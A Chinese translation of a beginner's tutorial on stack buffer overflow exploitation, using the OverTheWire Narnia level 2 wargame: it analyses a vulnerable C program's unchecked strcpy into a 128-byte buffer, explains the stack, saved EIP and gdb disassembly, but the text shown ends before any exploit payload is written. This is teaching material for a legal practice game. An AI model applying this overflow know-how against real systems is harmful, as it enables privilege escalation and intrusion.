缓冲区溢出利用——捕获eip的傻瓜式指南
[译文]
摘要:为一个简单的有漏洞程序写一个简单的缓冲区溢出EXP,聚焦于遇到的问题和关键性的教训,提供详细而彻底的描述
内容表:
1. I pity the fool, who can't smash the stack:
--介绍&背景
2.Welcome to the jungle, we've got fun and wargames:
--介绍我们之后要使用的示例&分析它的源代码
3. There is no spoon. This causes problems when you try to eat soup:
--详细解释程序运行内存空间和一些汇编基础
4. Debugging the woman in red:
--讨论调试技术,介绍一些汇编助记符/操作码(mnemonics/opcode)并对反汇编代码进行分析
5. You think that's air you're breathing?:
--通过一个简单的程序的调试程,展示工作状态的栈和对此的更进一步的分析
6. I know kung-fu, but Morpheus keeps kicking my arse:
--开始实际的Exploit编写过程,处理早期遇到的问题
7. Do, or do-not. There is no try. Or catch:
--让Exploit跑起来,解释关键的原理,搞定最中遇到的问题
8. So long, and thanks for the nops:
--讨论你可能会有的问题和一些更高级的漏洞利用方法
1.I pity the fool, who can't smash the stack:
这篇指南的目标人群是那些懂一些计算机、编程或者对安全漏洞感兴趣的人。如果你懂汇编但是不了解缓冲区溢出漏洞,你换会欢上它的。如果你已经掌握了一些栈溢出的基本知识,那么这篇指南你可以忽略了。但如果你处于入门级水平而且想拓展一下你对此的了解,那就另当别论了。这篇指南是对一个简单案例的综合处理,不涉及一些更高级的或者不确定的场景。
这篇指南会覆盖特定漏洞及其利用和缓冲区溢出的一些基础知识。我的目标是尽可能清晰地解释漏洞的具体机制、它是如何被利用、怎么出现以及为何会出现的。我只会讲解对于理解主题来说十分必要的细节;我希望你对背景知识(如十六进制的概念和汇编语言的全部细节)已经有了全面的了解,如果你不知道的话,我会指引你去其他地方学习。你可以在互联网上找到很多类似的关于缓冲区溢出的介绍性指南,但我认为这些指南过于依赖一个工作场景。他们涵盖了如栈、内存大小和缓冲区溢出过程的一些细节性话题,但实际上操作只是简短地提及了一下。从这个角度来看,他们的都是失败之作;他们提供了一个简单场景中的答案,却没有讲述处理过程,也提供读者一些工他们需要的具,用来概括学习到的东西以适合其他或更复杂场景。
我初次了解缓冲区溢出的的时候当时正在闯关。我会以http://www.overthewire.org/上的Narnia生存游戏作为例子讲解,刚玩这个的时候它就吸引了我。我第一次尝试的时候,毫无头绪还产生了可笑的误解,感觉就像在读一种古老的语言一样。几个月后当我学习了汇编语言再回来挑战时,发现就像阅读带插图的儿童书籍一样,很容易就能理解。然而,我的解决方法并没有按照我想的那样立即生效,我只能不断实验并尝试不同的方法来,尽管这些方法实际看起来并没什么不同,而这不过是为了这个基础的生存游戏。我在其他地方找到了攻略,尝试理解为什么这样是有效的而那样却不行,但是就像其他那些缓冲区溢出指南一样,它仅仅告诉你怎样能行但没有说明为什么这样能行。当我认为自己的代码有效时,想搞清楚为什么会出错的心情胜过了一切。这便是我平时学习时的核心态度:显而易见的目标并不是真正的目标。我认为这一点同样适用于Narnia这样的其他有效。成功、过关、好成绩、认可这些都不是真正的目标,真正的目标是明白和完全搞懂原理。过关只是踏上这趟旅程的一个理由,这也是我再次造访这个例子的原因。我会再现我通过的过程,并解释我一路上遇到的问题(及解决方案)。这个示例中我遇到的每一个问题,我最终都明确和理解了,教会了我一个很重要的观念——这些问题值得我彻底地去了解,而这一过程让我感到非常满足,希望我能把这一观念也传递给你。
有些细节我会讲得很透彻,其他的则可能轻描淡写。我讲的任何东西,如果你已经彻底掌握了你可以跳到前面去,同样的,我没有仔细讲解的也很重要,我也会清楚地注释出来。我知道那些我一笔带过的话题可能在其他地方研究得已经很充分了,如果你没有找到好的学习资源,联系我,我会指引你正确的方向。
我希望你对下面这些话题已经有了一定的理解,我不可能详细说明所有的这些:
高级编程语言;
函数、调用 & 返回
数据类型 & 它们是如何表示的
大端和小端
指针、引用值 & 解引用
十六进制
寄存器
基本C、C++语法
句柄变量 & 作用域
我希望你已经比较熟悉十六进制和指针了,如果你不太清楚的话维基百科和搜索引擎会是你的好帮手
我希望你至少知道,但不要求完全理解下面这些概念:
机械码
汇编
内存大小(字节、字..)
栈
2.Welcome to the jungle, we've got fun and wargames:
我会使用如下例子作为讲述这篇指南:www.overthewire.org上面一个非常简单的闯关类生存游戏。这上面有许多非常棒的生存游戏会,需要各种不同的技能和知识水平。如果你想在学习安全技术时搞点破坏西但不会被抓,那么这是一个绝佳去处。我的这个例子取自Narnia生存游戏的第三关,level2(如果你没弄明白的话,记住,他们提供的是一个游戏数组)。overthewire的挑战大部分是通过ssh登陆他们的服务器。每一关都有对应的用户,即你登陆的那个。password文件就放在服务器上,谁都有可能获取,但只对其属主是可见的。你的任务就是在没有用户权限的情况下找到方法查看那个文件。
Narnia以有漏洞的setuid程序(用其他用户权限为某个用户执行任务)的形式呈现多种简单的漏洞利用,这些程序能够被利用以获得下一关的密码。Setuid程序是经典的类Unix实体,允许没有权限的用户做平时不能做的事,例如修改密码,而这通常是需要管理员介入的。如果用户找到了控制那个程序的办法,套用一句经典老话来说,他们可以"执行任意代码",如果该程序是以root身份运行的话,这个漏洞简直就是"重写程序做想做的任何事情"或者"取得root权限"的代言。这像是石器时代用于计算的一种古老概念,一个设置了suid的程序可以以某个用户的身份在shell里运行,执行现代的任务,无论Windows还是类Unix系统,程序运行的权限和与用户进行交互都是同样的道理。如果现在有一个Web服务器以根用户或系统用户的身份运行,而且有一个类似的漏洞,那么任何人都可以用同样的方法利用它,可以"执行任意代码"。这是一个巧妙而简单的例子,能够映射当前的情形,除了它有点太过简单。
如果你想通过ssh登陆他们的服务器并玩两把,我建议你用你这里已经学到东西先解决掉Narnia0和Narnia1,不过如果你完全不熟悉Linux的shell,你可能会想先ssh到Narnia0体验一下你所见的,或者还可以尝试一下强盗和海怪的生存游戏。它们都能增进你对shell的理解,提供了Linux系统常用的一些有用的工具,服务器上能发现的一些有趣但真实的漏洞,而这些漏洞是由于配置错误导致的。对于那些不耐心的Windows用户而言,不妨把这个当做是在cmd里运行一个程序或者脚本吧。
Narnia给了我们一堆要以下一关权限运行的程序,每个程序都有我们可以利用的漏洞,以获取下一关的密码并继续前进,这便是提权的艺术。现在,在利用程序的入口处,Narnia给了我们一条提示:每个程序下面都有源代码,让我们看一下Narnia2的代码吧:
1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 5 int main(int argc, char * argv[]){ 6 char buf[128]; 7 8 if(argc == 1){ 9 printf("Usage: %s argument\n", argv[0]); 10 exit(1); 11 } 12 strcpy(buf,argv[1]); 13 printf("%s", buf); 14 15 return 0; 16 }
这个程序很简单,任何C程序员一眼就能看出来它是干什么的的。如果他们熟悉安全编程和漏洞利用的话,警钟会立即响起:这个程序很容易被利用。不过既然是给漏洞利用刚刚入门的人写的指南,我们还是慢慢来吧。如果你已经发现了,建议你在头脑里想一下,为什么这个程序是有漏洞的以及你应该怎么去利用它,然后直接跳到第三节。
现在要做的第一件事是标注main函数的性质。这是一个控制台程序,和如许多C或C++程序的主函数一样,当它被调用时接收命令行给出的参数。我们可以运行这个程序,也可以敲入一堆字符串,程序执行时会使用这些字符串。通过这种方式,我们就可以对程序输入并影响它执行的方式。
我们可以看到main函数接收两个参数,int agrc和char *argv[]。当程序被调用时,命令行分离出以null字符结尾的字符串。间隔用于标记一个参数/字符串的末端。完整的程序调用会被解析并转换成字符串:程序名是第一个字符串,因此至少会有一个参数字符串。我们可以看到,整型数据argc是程序接收的参数个数(argc=argument count)。因之,由于至少会有程序的路径/调用作为参数,argc的最小值总是为1。
第二项,char*argv[]提供了访问这些参数的方式,这些字符串都以null结尾。这些字符串的长度是可变的(这在之后会扮演着一个至关重要的角色),因此没法将它们放在一个排列整齐、位置已知的数组里。一个优雅的解决方案许多年前被发明出来:使用指针。但是尽管char*argv[]看起来像指针,却不仅是一个指针。它是一个指向指针的指针,指向指针数组的第一个元素的指针。C/C++中的字符是两面派,它们的罕见用途是作为存储一个字节的一种手段。更常见的是,它们实际是指向指针数组的指针,是一个指针数组的指针,一个指向字符数组的指针是一个指向指针数组的指针。分开来讲是很乏味的,但它是理解后面内容的关键,也是程序实际运行的方式。你可以将*argv[]重写成**argv,它们都是一样的。
那么,处理这些参数的代码在哪呢?实际上这是在许多编程中的基本元素,编译器会替我们处理。当程序被编译,它加上一些代码整齐又巧妙地设置和初始化,这表现为函数的载入和处理以及程序运行前的窗口处理,好比作家还没动笔写作就已经开始了。它会设置参数的值并在将控制权交给主函数之前传递给main。在抽象的编程中一切都是理所当然的。看起来main是第一个被调用的函数,但实际上却并非如此,编译器运行的开始例程才是第一个,main运行完后,控制权返回给这些例程。插句题外话,这里引入的许多毫无意义的东西会导致代码膨胀和增加一些有趣的数据。C语言是相当不错的,这里添加的东西对程序大小而言只是改变了一点点而已,但它们对于更抽象的程序员来说却非常有用。另外,我们可以在漏洞利用的时候用上这点点滴滴的东西,不过还不是现在,这些都是基础知识。
程序通过参数接收外部的输入(人为的或其他程序调用它)。当程序接收某种输入时会允许和用户进行某种互动,这是控制程序执行的一种方式。如果程序没有以一种较好的方式处理或审计输入数据,程序可能出现意想不到的情况,做一些程序员没想过的事情。这和基于web的漏洞利用原理是一样的,表单、用户输入是利害的关键点:脚本、sql、php或其他代码可以被注入到程序中绕过验证,枚举数据库或产生其他意料之外的功能。当程序接收用户输入时,程序会信任用户所给的输入并让其得到良好的处理。到目前为止,在我们的分析中我们可以通过*agrv[]看到第一个实例,但这是一种预先写入的代码:任何像样的编译器都被设置为能安全地执行这个参数。每一个参数都分配了自己的字符串和内存空间,量身定制的长度并使用一个整齐的指针数组标记其位置,然后将将执行数组第一个元素的指针传递给main函数。这是一种处理字符串参数的安全方法,可以适应用户给的输入,提供正确的内存数量并合理地分离用户数据和程序数据。看过一个好的示例:如何安全地处理输入后,我们再来看一个糟糕的例子。
每个钥匙都对应着一把能打开的锁。我们已经看到了钥匙的第一个证据:程序接收输入。现在我们看一下它的锁:main函数要做的第一件事就是声明一个固定长度的、未初始化(还没有赋值)的缓冲区。这暗示了一个展开的场景:在内存空间中,有着固定的大小,为一些数据而准备。这跟这个缓冲区的大小没有关系,至少在C中,没有什么特别的引用或程序哪部分将值写入缓冲区中的控制。如果程序的那个部分写入的数据超出了缓冲区能承载的范围,内存其他位会被改变,就会发生意想不到的事情。
程序的接下来部分我会讲得详细点,但应是显而易见的。程序使用了一个if()形式的语句,用来检测参数的个数是否为1。记住,在这个场景中,程序在没有其他参数的情况下就被调用了,因此有一个参数:程序的名字。print格式的printf函数用于打印一个字符串,代入另一个字符串(%s),而真正的值在后面,argv[0]作为字符串被打印出来。程序进而调用exit(1),这是编译器提供的一个辅助函数,可以干净地退出而无需恢复main函数的其他部分。另外,它用1作为exit()函数的参数,暗示一个不常见但是没有错误的程序执行发生了(要知道大多数main函数都是以返回0结束,意味着返回给编译器生成的调用者,没有错误发生)。如果是我写这个程序的话,我可能会使用if/else结构,它们按同样的方式返回,不过每个人都不一样,而且能够看到结构后面的函数也很重要。
我们感兴趣的分支跳过了这一步,而是继续前,用一些数据填充buf[128]。瞧,它使用strcopy获取我们的第一个参数,并将其放置在buf中。然后像之前一样使用%s占位符打印buf。然后返回给调用者。最后的两步非常重要,如果我们忽略了它们的话是会付出代价的,然而就目前来说还是集中精力在main上面吧。
当编译器生成初始化例程处理我们的参数时,我们已经讨论过是以一种非常安全的方式。main函数做的刚好相反。strycpoy是一个臭名昭著的函数,主要是因为它没有一个定义自己要拷贝多少数据的机制。它将用户定义的数据拷贝到固定长度的缓冲区中,却没有检查用户定义数据的长度,假设用户提供的数据会小于128字节长是一件非常危险的事。用户可以随意给程序他们想给的数据,可以比缓冲区的小也可以比它大。如果用户提供的数据超出了缓冲区的大小,就会发生无法预期的事情。自然这就是我们接下来要做的。
这个程序我们描述得很清楚了,如果你容易信任别人,你可以沉浸在自己的想象中,想象自己已经搞懂了这个简单的小程序真正要做的是什么:"它检查是否接收到了参数,如果有参数传入,就打印第一个真正的参数。如果它只收到程序名/路径这一参数,就打印使用方法并退出程序"。如果你汇编不错,你可能知道这里的源代码根本就是一个谎言,不过是编译器将其转为汇编代码的一个华丽的抽象,说的更准确点是机器码(批评者会说两者并不一样,汇编代码是机器码用于辅助记忆的代码,但是我要说编译器可以转回汇编助记代码,我们在审计代码时能以一种精确的方式呈现,他们的区别确实存在,但无足轻重:它们都与一个明确的意义)。
3. There is no spoon. This causes problems when you try to eat soup:
在这一节,我会讲点汇编/机器语言,内存是如何分布的以及数据时如何处理的。我仍然会简要的将一下理论,遇到实际案例时会说得详细点。如果你需要更多的描述,维基百科和搜索引擎及一本不错的汇编书(推荐Assembly language,Step by Step 3rd)都是你的好朋友。一旦你会汇编了,这个例子对你而言很快就会变得很简单。如果你已经掌握了汇编、栈、内存管理及数据类型/大小,你就可以跳到本节前面的栈摧毁处理这里去。
看起来可能很奇怪,为什么我要说C语言源代码(所有的源代码)都是废话、一个抽象、谎言呢?是从我的角度来看,确实是这样。当我编写一个C程序(我更爱C++)时,我对现实产生了错觉。我觉得局部声明的变量在有时比事实的真相更真实。我赋予它们名字,如Myint、count、FirstName等,当我需要修改代码的时候我会参考它们。好像有一个可以追踪其名字和地点的列表。好像它们在独立的空间中,如数据库中的数据一般组织整齐。从某种意义上来说,局部变量就像是动态分配的内存,在C语言中通过malloc、C++中用new使用堆的方法,现实却截然不同。
但愿你知道什么是栈,至少大概知道它是如何工作的。栈是一块内存区,用于存储所有的局部变量。它被描述为LIFO数据结构:后进先出。就像物理世界中的一摞纸或一副扑克牌,你最后放上去的也是你最先拿下来的。对我来说还有一个更加简化的版本:你仍可以读、写、访问栈上的任何地方。LIFO的主意归因于栈的维数—它有多大。栈的一个基本操作是"push"一个新值到栈顶,或者"pop"栈顶元素到寄存器中。push(推)一个新值到栈中,然后栈的大小就加1,而pop则是从栈顶取一个值把它放到寄存器中,栈的长度减1。如果你连栈是什么都不知道,那你还是先去学一下吧。我只会解释很少的一些细节,仅限那些非常重要的栈及指令指针。
我继续之前,还是先讲一下端吧。记住LIFO的概念,想想一叠扑克的样子。一副新的扑克,正面朝上,按相同花色从小到大。每种花色最下面的那张是2,最上面的是A,没有高级卡片也没有大小王。如果你从上面的卡片开始挑再把他们放成一堆,再看一下排列,顺序刚好和之前的相反:2在最上面,然后是3,直到最下面的A。你可能碰到过在打印的时候发现顺序错了,其实你可以用这种方法快速重新排列。这显示了栈的结构,但栈是应该由低值到高值还是由高值到低值分布呢?通常,Intel和AMD的cpu中它是从高地址开始,随着更多的数据的加入,向低地址方向移动。乍看之下这很让人困惑,但是记住它们都是地址、标签。栈变得越来越大,但是顶部的'name'/memory地址向低地址增长。如果还是不清楚,去研究一下吧还是。
栈不仅仅是用于存储局部变量的,还可以用于存储内存管理自身的数据。如果这个对你来说比较新颖,但是你会密切关注,你只需把两者结合起来,笑起来或者开始质疑到底是谁认为这是一个good idea。还记得buf[128]和strcpoy吗?尽管笑吧
那么,我们要讨论的是什么样的内存管理数据呢?具体来说是AMD和Intel32位处理器的x86体系架构。我更喜欢用x86-64来编程,但是32位在今天非常普遍,而且32位和64位的x86处理器兼容。你已经了解寄存器了,而且可能还认识几个特殊寄存器如esp、ebp、eip。像所有寄存器大部分时间都作为内存指针使用,它们作为指针使用比任何其他用途都要多,而eip则几乎一直作为指针使用。事实上,eip是如此特别,在今天的计算机中它不会信任你。即便是程序员都没法说出eip的值是多少(至少不能直接说出来),因为它指向cpu下一条要执行的指令。就像看着程序的最终代码,读取指令并移动到下一条。寄存器ebp和esp是栈指针寄存器。作为一个程序员,你可以指定它们做什么,但是你要知道你正在做事的不能搞砸你的程序。栈指针esp(在64位系统中它们的前缀是r,如rsp、rbp、rip)指向栈顶(低地址端,新数据添加的地方)。说的详细点:push指令会先从esp做减法操作(增加了栈的大小),然后将新压入的值放在一个空闲的地方。pop则刚好相反:从栈顶获取一个值,将其存储在寄存器中,然后对esp加操作,减小栈的长度。push和pop在cpu中的寄存器大小都是硬编码的,因此push对esp的值减操作或pop进行的加操作都是32位,4个字节,一个双字。如果前面那句话对你没有意义,那你还是再研究研究吧。基指针ebp当前栈帧的底部(高地址端)。
什么是帧呢?帧就是正在执行的函数创建和使用的的一片栈区。但愿你理解高级语言中调用函数和递归的一些基础知识。不然的话,先去学一下吧。当你调用高级语言的一些函数时,你看到的是调用的表面,表面之下还有其他事情正在发生着。调用发生前,已为函数的任何参数分配了空间,其值被置于栈顶,然后下一个函数被调用。该函数会将ebp压栈,然后将esp的值移到ebp中。因之,在将ebp压栈后,esp指向保存的ebp,ebp现在实际上指向之前栈帧保存的ebp。函数结束后,栈帧被清空,esp的值指向保存的ebp。清空栈有很多方法,然而C编译器通常是将当前ebp寄存器的值放置在esp上:esp现在直接指向保存的ebp。这说明当不再使用时栈数据并不会被删除;程序中存在或缺失的栈数据完全由ebp和esp定义。当你的内存不活跃时也没有设置为0s,它是一组已定义的值,这一点在之后会变得很重要。
我们很快就要完成汇编语言的简单学习了,但是有个元素又把所有的事物都拉到一起来了,它就是eip。如果你编写过很多程序,你会知道函数是可以内联表示的,或者整齐的分离出来,在需要的时候重复调用。正如我们在Narnia2程序中看到的,printf用了两次,但是它在源代码中并没有定义,除非是编译器添加的它或是包含的库文件中的其他函数,因为包含声明在源代码的顶部。
数据就是数据,无论它控制着数据还是变量。机器码——计算机指令,必须以和数据存储一样的方式存储在内存中。另一方面,对于有些人来说前面提到的可能都是没有接触过的,但是编程却懂得不少,他们会把东西放到一起然后挤出一个邪恶的笑容,看看情况怎么样了。如果栈数据存储在高地址中且向下增长,那指令数据存放在哪呢?低地址空间里面存放的是什么?如果栈由esp和ebp定义而我们可以控制他们,应该用什么来区分数据和代码呢?此外,如果函数可以内联或分离,它们如何存储在内存中,cpu如何从main函数到printf函数,以及其他跨行的函数,然后它要怎么返回呢?让我们来完成这幅图吧。
我们今天有幸使用x86及其之后的体系架构,相比以前现在的内存管理是一件非常简单的事。我们可以访问,大多数操作系统内存计划中所谓的32位(64位稍微不同)的保护模式,或平坦保护模式。这使得每一个程序都可以获得完整的4GB内存运行空间。用你的计算器算一下2^32的十进制数,得到其结果(超过40亿,那就是每个程序持有的内存空间)并将其转化为十六进制数。减去1个0,再看一下结果,该十六进制数是一个程序地址空间最顶端的地址。注意到其结果是4字节长,和寄存器及push/pop一样的大小。任何内存地址都可以通过push/pop存储,也可以用其他4字节的方法。
低地址内存空间通常属于操作系统/内核,它们会密切监视着你的行为并拥有最高的权利。如果你想做些什么事请,例如在屏幕上显示字符或和网卡之类的设备通信,你都需要向内核请求,然后由内核替你完成,如果内核不同意你的请求,它会惩罚你。如果你试图向不应该的地址空间写入或者读取数据,它也会惩罚还会杀死你的程序。程序的指令或代码随后,但在Linux中其地址至少能到0x80000000附近。这取决于你将代码放在源代码中的什么地方,这可能分布得各不相同。但本质上来说main函数是会展示出来的,包括里面的一些内联函数,其他函数则是差不多的地址,但没有直接相连。代码从低地址开始,向着高地址方向执行:至少直觉上是这样的。在我脑海中,这跟栈的方向相反,处理得很慢,但是没必要太过于认真。
栈起始于相同空间的高地址,可以接近到0xFFFF0000。正如我们说的,它朝着代码向下增长。我们现在并非是要用strcopy重写那40亿的的地址空间以重写程序代码,但这是个不错的想法。拼图的最后一块是cpu如何穿越迷宫。
在许多方面eip都看出寄存器之王,但它依旧得听esp和eip使唤。经典的剪刀、石头和布的样式。eip寄存器指向下一条指令,被吸收并恰当的执行,然后将值加1再指向下一条指令。在某些情况下,它会跳转到一个非内联函数。想一下吧,这就是最终的、可笑的、美丽的栈的真相。在我之前提到过的调用例程中,我岔开了一步。调用函数的第一步便是存储当前eip的值,然后将新函数的地址赋给eip。接着,ebp被压栈,esp的值置于ebp中。在函数生命周期的末了,它会"返回":esp的移到ebp,指向保存的ebp。保存的ebp弹出到ebp,恢复之前的栈帧。esp现在指向保存的eip,存储的eip弹出到eip,并执行恢复恢复的eip地址。一个有趣的事实是,这个不能直接托付给程序员返回给eip的值,正坐在那里手无寸铁的。记住strcopy,它没有限制复制的数据,看到这里,你笑了吗?
这并不是火箭技术般的科学,只是选择了解计算机及其程序实际是什么样子。现在你同意源代码都是废话了吗?你现在在矩阵外面(黑客帝国),真实世界和电影中有很多相似之处,但是更残酷、裸露和机械,也更接近于现实,我们很快就会有一个会让你流汗的锡安击鼓party。但是,希望对于你们有些人来说,心中仍留有一个疑问:我的计算机怎么给每个程序都分配4G内存?记住,我们没有汤匙。尽管我们设计的这个画面很精确,而且恰好是x86处理器的工作方式,它依旧是一个谎言:这些地址都是虚拟的,他们是一组合法地址而且必须忍受和你的物理RAM毫无关系。再一次,内核就如机器中的幽灵一样管理着我们的一切,映射我们的各种程序内存的任意随机部分为RAM中可用的任意随机片段。它还存储了磁盘上没怎么使用或交换文件的部分并平衡不同进程相互之间的需要。它一直在它们之间交换,但是这里不做讨论。
笛卡尔说:"我思,故我在",这是可以可以知道你存在的唯一事实。让我们顺着这个思路走下去,因为你需要分离出数据呈现给你阅读的方式,通过用调试器或者其他的,通过这个方式,它实际存在于处理器内存的虚拟映射中。在"真实"世界中你无法确定真实世界是否存在,或者只是一种仿真、梦境、欺骗手段。最明智的做法是把你看到的当做真实世界并采取相应的行动。以相同的方式对待程序的虚拟内存,但是,切记调试器的输出等行为就像是一个图表,它给出的数据易于理解,而不是虚拟地址空间的字面量映射。遇到这种情况时我会指出来的。
我们现在处于无情的汇编世界中,有一个锡安的击鼓party(源自黑客帝国剧情),每个人都会受到邀请。为了到达那里,我们得用我们选择的数据、安全方面的知识把机器搞乱,那会重写机器的内存并给我们一些聊到三位一体时聊以自慰的烟花,这比喻貌似扯得有点远了。
4. Debugging the woman in red:
我们已经有了这个程序,我们也知道它是有漏洞的,然而到目前为止,我们还只见过它的源代码。我们知道源代码其实是一个方便的谎言,它对程序而言就好比一本图画书对一本详细的技术工程手册的作用,我们怎么才能知道它到底是如何处理的呢?答案是调试器,现在想象一下我们以narnia2的身份登录上了overthewire的服务器,我们眼前有源代码和已经编译过的程序。我们在Linux命令行中,因此我们有一系列默认提供给我们的有用工具。有两个非常有用,它们是gnu调试器和python命令行。
记住我们想将自定义的参数传给程序,那样我们就可以让它做一些不寻常的事情了。Python提供了一个非常便利的方式让我们可以快速写出一个长字符串并将它们作为参数传递,这就是我们要用它做的事情。你也可以用Perl或服务器上其他方便的工具。有时候我们想要给一些键盘上没有的字符,python生成的转义字符可以帮我们。如果这是一个没有任何工具的服务器,你甚至可以用带-e参数的echo对字符转义。
gdb是一个经典的苦力,一个处理这种工作非常有用的命令行调试器,我们将用它在我们的监视下运行narnia2程序。narnia2是一个32位的ELF文件,可执行可链接格式文件。你想的话可以去了解一下,但它就像Windows中的PE文件一样,包含着运行程序所需的数据。若你还没有意识到,可链接部分指动态链接库,包含printf和strcopy之类的对象,还有一些我之前说过的编译器生成的东西。动态链接库在很多程序中都会用到,以致于将它们都放在磁盘上单个的文件里。占位符被保留起来,内核会在运行的时候把完整的库(动态链接它们)带入程序中,功能俱备却不会浪费空间。如果你选择overthewire服务器上的/games/narnia并输入字符串narnia2,你会看到printf和strcopy函数名占位符。这种动态链接意味着除非已经运行了,否则它们对文件没什么影响。文件的静态内容受限于程序实际的自定义代码(main也是一样的)以及硬编码数据。
我们可以使用gdb进行静态分析(不用运行程序)和动态分析。我们可以将代码"反汇编",也可以让程序暂(设置断点)停在我们选择的任何地方然后继续运行。我们还可以打印出任意寄存器的值,打印出栈的某个部分,或者反汇编刚刚魔术般添加到文件中的动态链接的元素。要事第一,现在运行gdb并用"gdb narnia2"命令打开narnia2。
我做的第一件事就是指定gdb使用intel的反汇编语法,overthewire上默认的是AT&T语法。
(gdb) set disassembly-flavor intel
首先我静态地将main函数反汇编,这取决于于你对汇编的熟悉程度。它可能看起来是一个简单的、很小的程序,抑或是一堆垃圾,在你有生之年都不会相信它和你看到的C代码是同一个程序。我第一次尝试这么做时还半懂不懂的,看起来像是疯狂的垃圾。不过现在我再看它时,我宁愿看这种版本的源代码。就像我前面说过的,汇编代码是不会骗你的,它能准确地描述你电脑里面(在这里是overthewire的服务器)到底发生了什么。
顺便说一句,当我编写汇编代码时,我添加的注释就像一个迂腐的怪胎:每行至少一条注释,我推荐你也这么做。它能帮助你思考你每一行的意图,检查是否用你写的代码完成了目标,或者提醒你还有更好的实现方式。这也意味着当你回过头来看或将其导入其他程序时,你能详细的知道它是干嘛的。我还发现一个副作用:审计别人的代码更简单,它要求像检索和注释自己的代码那样的过程。
我在gdb中输入:disassemble main,然后得到了其汇编形式的代码
Dump of assembler code for function main: 0x08048424 <+0>: push ebp 0x08048425 <+1>: mov ebp,esp 0x08048427 <+3>: and esp,0xfffffff0 0x0804842a <+6>: sub esp,0x90 0x08048430 <+12>: cmp DWORD PTR [ebp+0x8],0x1 0x08048434 <+16>: jne 0x8048458 <main+52> 0x08048436 <+18>: mov eax,DWORD PTR [ebp+0xc] 0x08048439 <+21>: mov edx,DWORD PTR [eax] 0x0804843b <+23>: mov eax,0x8048560 0x08048440 <+28>: mov DWORD PTR [esp+0x4],edx 0x08048444 <+32>: mov DWORD PTR [esp],eax 0x08048447 <+35>: call 0x8048320 <printf@plt> 0x0804844c <+40>: mov DWORD PTR [esp],0x1 0x08048453 <+47>: call 0x8048350 <exit@plt> 0x08048458 <+52>: mov eax,DWORD PTR [ebp+0xc] 0x0804845b <+55>: add eax,0x4 0x0804845e <+58>: mov eax,DWORD PTR [eax] 0x08048460 <+60>: mov DWORD PTR [esp+0x4],eax 0x08048464 <+64>: lea eax,[esp+0x10] 0x08048468 <+68>: mov DWORD PTR [esp],eax 0x0804846b <+71>: call 0x8048330 <strcpy@plt> 0x08048470 <+76>: mov eax,0x8048574 0x08048475 <+81>: lea edx,[esp+0x10] 0x08048479 <+85>: mov DWORD PTR [esp+0x4],edx 0x0804847d <+89>: mov DWORD PTR [esp],eax 0x08048480 <+92>: call 0x8048320 <printf@plt> 0x08048485 <+97>: mov eax,0x0 0x0804848a <+102>: leave 0x0804848b <+103>: ret End of assembler dump.
这就是我在写汇编代码时大量注释的原因,没有解释说明,它看起来就像是一张垃圾列表。它其实还是有意义的,但分解成了细小的步骤并且有效地隐藏了大量的意义。记住这实际上是反汇编:gdb很有用,它将机器码指令转换为对应的汇编代码。左边那列是每一行反汇编的机器码的内存地址。你可能注意到这些地址是有点跳跃性的:这是因为每一行汇编代码被转换为不同数量的实际机器码或操作码。大多数的单个操作码都是1个字节,但是如果你写的是"在这里存储这个值"这样的代码,那就至少要三条指令,像"这个放在这"。其他的只需要一条指令,如"这里什么都不做",当然一些更复杂的指令可能需要更多。结果就是gdb将操作码分组整合到到一行中,每一行在内存中的位置都不相同。
要理解这篇文章,你得懂点汇编才行,然而我说过,我会提及一些基础性的东西,因此起码你还能跟得上。若想要更多的细节,去其他地方看看资料再回来吧;除非你已经理解得相当不错了,你才能从这篇文章有所收益。基础知识就是我们和机器码助记符号打交道,简短的名字对应着cpu简单的行为,Intel的语法是这样的:指令 主体, 对象或者
操作码 内存地址/寄存器, 内存地址/寄存器/立即数
先是你想做什么,然后空格,你想用它做什么,接着是你想用来操作的值或存储值的位置。大多数指令都是这种格式,有些不是,其他的只有一条指令和寄存器,但同样可以做几件事。我已经稍微解释过push和pop,但我还是会快速给出一个基础知识清单。我用r表示寄存器,m表示内存,i表示立即数,列出一些基本的有效组合:
1 push r/i ;subtracts 4 bytes from esp (stack grows) and places a 4 byte (on a 32 bit cpu) value at esp's new location. Generally used with a register, but can be an immediate value..
2 pop r ;places the value at esp into the specified register and adds 4 bytes (reduces stack size) to the stack. Registers only.
3 mov r/m, r/m/i ;'moves' the value from right operand into the left operand. Basic method of loading data into registers without affecting the stack, or for moving values into or out of the
;stack (at any point) without pushing, popping or changing those values
4 sub r/m, r/m/i ;subtract value from memory or register. Often used to make room on the stack (you can just change esp's location to manipulate stack size, you don't have to always push/pop.
5 add r/m, r/m/i ;add, same as subtract but with addition.
6 cmp r/m, r/m/i ;compare a memory location or register to a value. Conditional programming in assembly takes two steps, compare, then conditionally branch.
7 jne r/m ;Jump if not equal. Cmp sets flags on another register (eflags). The 'jump' instructions (there are many) check these flags against their logic and branches if their conditions
; are met. You will note that the assembly version of the program completely reverses the logic of the c version. Where c said “if argv[0]==1, then do this” the actual result
; is “if argv[0] does not equal 1, then branch. Other jump verions include je (jump if equal), jg (jump if greater than), jle (jump less than or equal to) as well as unsigned versions
; like ja (jump if above). Jz (jump if zero) is a special case, good for loops, while jmp is uniquely just 'jump no matter what”.
8 call function/r/m ;already discussed somewhat, after arguments are prepared, this pushes eip at the top of the stack places the function location into eip, executing instructions from there.
9 ret ;has no arguments. Pops the top of the stack into eip (should be saved eip) and returns execution from there.
10 lea r/m, r/m+i ;load effective address. Quick way of loading the address of something, and can be used at an offset. Like move but just for memory locations. Unlike mov it does not touch those locations,
;just gets the address, so can load any address without a memory violation. Used to be popular because it's as fast as can be, but current cpu's do mov at the same speed.
11 and r/m, r/m/i ;bitwise and. Bitwise or, xor, not etc all exist too.
12 nop ;no-operation – do nothing for 1 cycle, just skip to the next instruction.
